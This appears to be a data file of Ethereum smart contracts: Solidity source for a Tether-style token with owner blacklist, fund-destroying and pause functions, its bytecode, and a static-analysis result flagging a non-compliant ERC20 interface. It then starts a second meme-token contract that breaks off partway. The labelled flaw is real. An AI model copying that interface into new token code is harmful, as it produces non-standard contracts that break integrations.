* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract BlackList is Ownable, BasicToken {
/////// Getters to allow the same blacklist to be used also by other contracts (including upgraded CNYT) ///////
function getBlackListStatus(address _maker) external constant returns (bool) {
return isBlackListed[_maker];
}
function getOwner() external constant returns (address) {
return owner;
}
mapping (address => bool) public isBlackListed;
function addBlackList (address _evilUser) public onlyOwner {
isBlackListed[_evilUser] = true;
AddedBlackList(_evilUser);
}
function removeBlackList (address _clearedUser) public onlyOwner {
isBlackListed[_clearedUser] = false;
RemovedBlackList(_clearedUser);
}
function destroyBlackFunds (address _blackListedUser) public onlyOwner {
require(isBlackListed[_blackListedUser]);
uint dirtyFunds = balanceOf(_blackListedUser);
balances[_blackListedUser] = 0;
_totalSupply -= dirtyFunds;
DestroyedBlackFunds(_blackListedUser, dirtyFunds);
}
event DestroyedBlackFunds(address _blackListedUser, uint _balance);
event AddedBlackList(address _user);
event RemovedBlackList(address _user);
}
contract UpgradedStandardToken is StandardToken{
// those methods are called by the legacy contract
// and they must ensure msg.sender to be the contract address
function transferByLegacy(address from, address to, uint value) public;
function transferFromByLegacy(address sender, address from, address spender, uint value) public;
function approveByLegacy(address from, address spender, uint value) public;
}
contract hToken is Pausable, StandardToken, BlackList {
string public name;
string public symbol;
uint public decimals;
address public upgradedAddress;
bool public deprecated;
// The contract can be initialized with a number of tokens
// All the tokens are deposited to the owner address
//
// @param _balance Initial supply of the contract
// @param _name Token Name
// @param _symbol Token symbol
// @param _decimals Token decimals
function hToken(uint _initialSupply, string _name, string _symbol, uint _decimals) public {
_totalSupply = _initialSupply;
name = _name;
symbol = _symbol;
decimals = _decimals;
balances[owner] = _initialSupply;
deprecated = false;
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transfer(address _to, uint _value) public whenNotPaused {
require(!isBlackListed[msg.sender]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value);
} else {
return super.transfer(_to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transferFrom(address _from, address _to, uint _value) public whenNotPaused {
require(!isBlackListed[_from]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value);
} else {
return super.transferFrom(_from, _to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function balanceOf(address who) public constant returns (uint) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).balanceOf(who);
} else {
return super.balanceOf(who);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value);
} else {
return super.approve(_spender, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
if (deprecated) {
return StandardToken(upgradedAddress).allowance(_owner, _spender);
} else {
return super.allowance(_owner, _spender);
}
}
// deprecate current contract in favour of a new one
function deprecate(address _upgradedAddress) public onlyOwner {
deprecated = true;
upgradedAddress = _upgradedAddress;
Deprecate(_upgradedAddress);
}
// deprecate current contract if favour of a new one
function totalSupply() public constant returns (uint) {
if (deprecated) {
return StandardToken(upgradedAddress).totalSupply();
} else {
return _totalSupply;
}
}
// Issue a new amount of tokens
// these tokens are deposited into the owner address
//
// @param _amount Number of tokens to be issued
// function issue(uint amount) public onlyOwner {
// require(_totalSupply + amount > _totalSupply);
// require(balances[owner] + amount > balances[owner]);
// balances[owner] += amount;
// _totalSupply += amount;
// Issue(amount);
// }
// Redeem tokens.
// These tokens are withdrawn from the owner address
// if the balance must be enough to cover the redeem
// or the call will fail.
// @param _amount Number of tokens to be issued
// function redeem(uint amount) public onlyOwner {
// require(_totalSupply >= amount);
// require(balances[owner] >= amount);
// _totalSupply -= amount;
// balances[owner] -= amount;
// Redeem(amount);
// }
function setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner {
// Ensure transparency by hardcoding limit beyond which fees can never be added
require(newBasisPoints < 20);
require(newMaxFee < 50);
basisPointsRate = newBasisPoints;
maximumFee = newMaxFee.mul(10**decimals);
Params(basisPointsRate, maximumFee);
}
// Called when new token are issued
// event Issue(uint amount);
// Called when tokens are redeemed
// event Redeem(uint amount);
// Called when contract is deprecated
event Deprecate(address newAddress);
// Called if contract ever adds fees
event Params(uint feeBasisPoints, uint maxFee);
}
|
0x608060405260043610610180576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146101855780630753c30c14610215578063095ea7b3146102585780630e136b19146102a55780630ecb93c0146102d457806318160ddd1461031757806323b872dd1461034257806326976e3f146103af57806327e235e314610406578063313ce5671461045d57806335390714146104885780633eaaf86b146104b35780633f4ba83a146104de57806359bf1abe146104f55780635c658165146105505780635c975abb146105c757806370a08231146105f65780638456cb591461064d578063893d20e8146106645780638da5cb5b146106bb57806395d89b4114610712578063a9059cbb146107a2578063c0324c77146107ef578063dd62ed3e14610826578063dd644f721461089d578063e47d6060146108c8578063e4997dc514610923578063e5b5019a14610966578063f2fde38b14610991578063f3bdc228146109d4575b600080fd5b34801561019157600080fd5b5061019a610a17565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101da5780820151818401526020810190506101bf565b50505050905090810190601f1680156102075780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561022157600080fd5b50610256600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ab5565b005b34801561026457600080fd5b506102a3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd2565b005b3480156102b157600080fd5b506102ba610d25565b604051808215151515815260200191505060405180910390f35b3480156102e057600080fd5b50610315600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d38565b005b34801561032357600080fd5b5061032c610e51565b6040518082815260200191505060405180910390f35b34801561034e57600080fd5b506103ad600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f39565b005b3480156103bb57600080fd5b506103c461111e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561041257600080fd5b50610447600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611144565b6040518082815260200191505060405180910390f35b34801561046957600080fd5b5061047261115c565b6040518082815260200191505060405180910390f35b34801561049457600080fd5b5061049d611162565b6040518082815260200191505060405180910390f35b3480156104bf57600080fd5b506104c8611168565b6040518082815260200191505060405180910390f35b3480156104ea57600080fd5b506104f361116e565b005b34801561050157600080fd5b50610536600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061122c565b604051808215151515815260200191505060405180910390f35b34801561055c57600080fd5b506105b1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611282565b6040518082815260200191505060405180910390f35b3480156105d357600080fd5b506105dc6112a7565b604051808215151515815260200191505060405180910390f35b34801561060257600080fd5b50610637600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112ba565b6040518082815260200191505060405180910390f35b34801561065957600080fd5b506106626113e1565b005b34801561067057600080fd5b506106796114a1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106c757600080fd5b506106d06114ca565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561071e57600080fd5b506107276114ef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561076757808201518184015260208101905061074c565b50505050905090810190601f1680156107945780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156107ae57600080fd5b506107ed600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061158d565b005b3480156107fb57600080fd5b50610824600480360381019080803590602001909291908035906020019092919050505061173c565b005b34801561083257600080fd5b50610887600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611821565b6040518082815260200191505060405180910390f35b3480156108a957600080fd5b506108b261197e565b6040518082815260200191505060405180910390f35b3480156108d457600080fd5b50610909600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611984565b604051808215151515815260200191505060405180910390f35b34801561092f57600080fd5b50610964600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119a4565b005b34801561097257600080fd5b5061097b611abd565b6040518082815260200191505060405180910390f35b34801561099d57600080fd5b506109d2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ae1565b005b3480156109e057600080fd5b50610a15600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611bb6565b005b60078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aad5780601f10610a8257610100808354040283529160200191610aad565b820191906000526020600020905b815481529060010190602001808311610a9057829003601f168201915b505050505081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b1057600080fd5b6001600a60146101000a81548160ff02191690831515021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fcc358699805e9a8b7f77b522628c7cb9abd07d9efb86b6fb616af1609036a99e81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b604060048101600036905010151515610bea57600080fd5b600a60149054906101000a900460ff1615610d1557600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663aee92d333385856040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b158015610cf857600080fd5b505af1158015610d0c573d6000803e3d6000fd5b50505050610d20565b610d1f8383611d3a565b5b505050565b600a60149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d9357600080fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f42e160154868087d6bfdc0ca23d96a1c1cfa32f1b72ba9ba27b69b98a0d819dc81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b6000600a60149054906101000a900460ff1615610f3057600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b158015610eee57600080fd5b505af1158015610f02573d6000803e3d6000fd5b505050506040513d6020811015610f1857600080fd5b81019080805190602001909291905050509050610f36565b60015490505b90565b600060149054906101000a900460ff16151515610f5557600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610fae57600080fd5b600a60149054906101000a900460ff161561110d57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638b477adb338585856040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001945050505050600060405180830381600087803b1580156110f057600080fd5b505af1158015611104573d6000803e3d6000fd5b50505050611119565b611118838383611ed7565b5b505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60026020528060005260406000206000915090505481565b60095481565b60045481565b60015481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111c957600080fd5b600060149054906101000a900460ff1615156111e457600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6005602052816000526040600020602052806000526040600020600091509150505481565b600060149054906101000a900460ff1681565b6000600a60149054906101000a900460ff16156113d057600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561138e57600080fd5b505af11580156113a2573d6000803e3d6000fd5b505050506040513d60208110156113b857600080fd5b810190808051906020019092919050505090506113dc565b6113d98261237e565b90505b919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561143c57600080fd5b600060149054906101000a900460ff1615151561145857600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115855780601f1061155a57610100808354040283529160200191611585565b820191906000526020600020905b81548152906001019060200180831161156857829003601f168201915b505050505081565b600060149054906101000a900460ff161515156115a957600080fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561160257600080fd5b600a60149054906101000a900460ff161561172d57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636e18980a3384846040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b15801561171057600080fd5b505af1158015611724573d6000803e3d6000fd5b50505050611738565b61173782826123c7565b5b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561179757600080fd5b6014821015156117a657600080fd5b6032811015156117b557600080fd5b816003819055506117d4600954600a0a8261272f90919063ffffffff16565b6004819055507fb044a1e409eac5c48e5af22d4af52670dd1a99059537a78b31b48c6500a6354e600354600454604051808381526020018281526020019250505060405180910390a15050565b6000600a60149054906101000a900460ff161561196b57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561192957600080fd5b505af115801561193d573d6000803e3d6000fd5b505050506040513d602081101561195357600080fd5b81019080805190602001909291905050509050611978565b611975838361276a565b90505b92915050565b60035481565b60066020528060005260406000206000915054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119ff57600080fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fd7e9ec6e6ecd65492dce6bf513cd6867560d49544421d0783ddf06e76c24470c81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b3c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515611bb357806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c1357600080fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611c6b57600080fd5b611c74826112ba565b90506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550806001600082825403925050819055507f61e6e66b0d6339b2980aecc6ccc0039736791f0ccde9ed512e789a7fbdd698c68282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050565b604060048101600036905010151515611d5257600080fd5b60008214158015611de057506000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b151515611dec57600080fd5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3505050565b6000806000606060048101600036905010151515611ef457600080fd5b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549350611f9c612710611f8e6003548861272f90919063ffffffff16565b6127f190919063ffffffff16565b9250600454831115611fae5760045492505b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84101561206a57611fe9858561280c90919063ffffffff16565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b61207d838661280c90919063ffffffff16565b91506120d185600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461280c90919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061216682600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282590919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008311156123105761222583600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282590919063ffffffff16565b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000806040600481016000369050101515156123e257600080fd5b61240b6127106123fd6003548761272f90919063ffffffff16565b6127f190919063ffffffff16565b925060045483111561241d5760045492505b612430838561280c90919063ffffffff16565b915061248484600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461280c90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061251982600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282590919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008311156126c3576125d883600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282590919063ffffffff16565b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b8473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050565b60008060008414156127445760009150612763565b828402905082848281151561275557fe5b0414151561275f57fe5b8091505b5092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008082848115156127ff57fe5b0490508091505092915050565b600082821115151561281a57fe5b818303905092915050565b600080828401905083811015151561283957fe5b80915050929150505600a165627a7a72305820ca25324e9950f5452bd95be6a9eaf794c8c9c256492228bc6f9346267ad4d99f0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 9,155 |
0x7a463ac7cff86d7c4a2671e971c6b5e070a3b4bd
|
/**
*Submitted for verification at Etherscan.io on 2022-03-18
*/
/*
______ ______ _______ ______ __ __ __ __
/ \ / \ | \ | \| \ | \| \ / \
| $$$$$$\| $$$$$$\| $$$$$$$\ \$$$$$$| $$ | $$| $$\ / $$
| $$___\$$| $$ | $$| $$ | $$ | $$ | $$ | $$| $$$\ / $$$
\$$ \ | $$ | $$| $$ | $$ | $$ | $$ | $$| $$$$\ $$$$
_\$$$$$$\| $$ | $$| $$ | $$ | $$ | $$ | $$| $$\$$ $$ $$
| \__| $$| $$__/ $$| $$__/ $$ _| $$_ | $$__/ $$| $$ \$$$| $$
\$$ $$ \$$ $$| $$ $$| $$ \ \$$ $$| $$ \$ | $$
\$$$$$$ \$$$$$$ \$$$$$$$ \$$$$$$ \$$$$$$ \$$ \$$
SPDX-License-Identifier: Unlicensed
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SODIUM is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Sodium Finance";
string private constant _symbol = "SODIUM";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) private _isSniper;
uint256 public launchTime;
uint256 private _redisFeeJeets = 0;
uint256 private _taxFeeJeets = 9;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 9;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 9;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _burnFee = 0;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint256 private _previousburnFee = _burnFee;
address payable private _marketingAddress = payable(0x6b02C929F38683310964f71ca704956102CaC0b9);
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
uint256 public timeJeets = 2 hours;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
bool private isMaxBuyActivated = true;
uint256 public _maxTxAmount = 2e10 * 10**9;
uint256 public _maxWalletSize = 2e10 * 10**9;
uint256 public _swapTokensAtAmount = 1000 * 10**9;
uint256 public _minimumBuyAmount = 2e10 * 10**9 ;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[deadAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function createPair() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
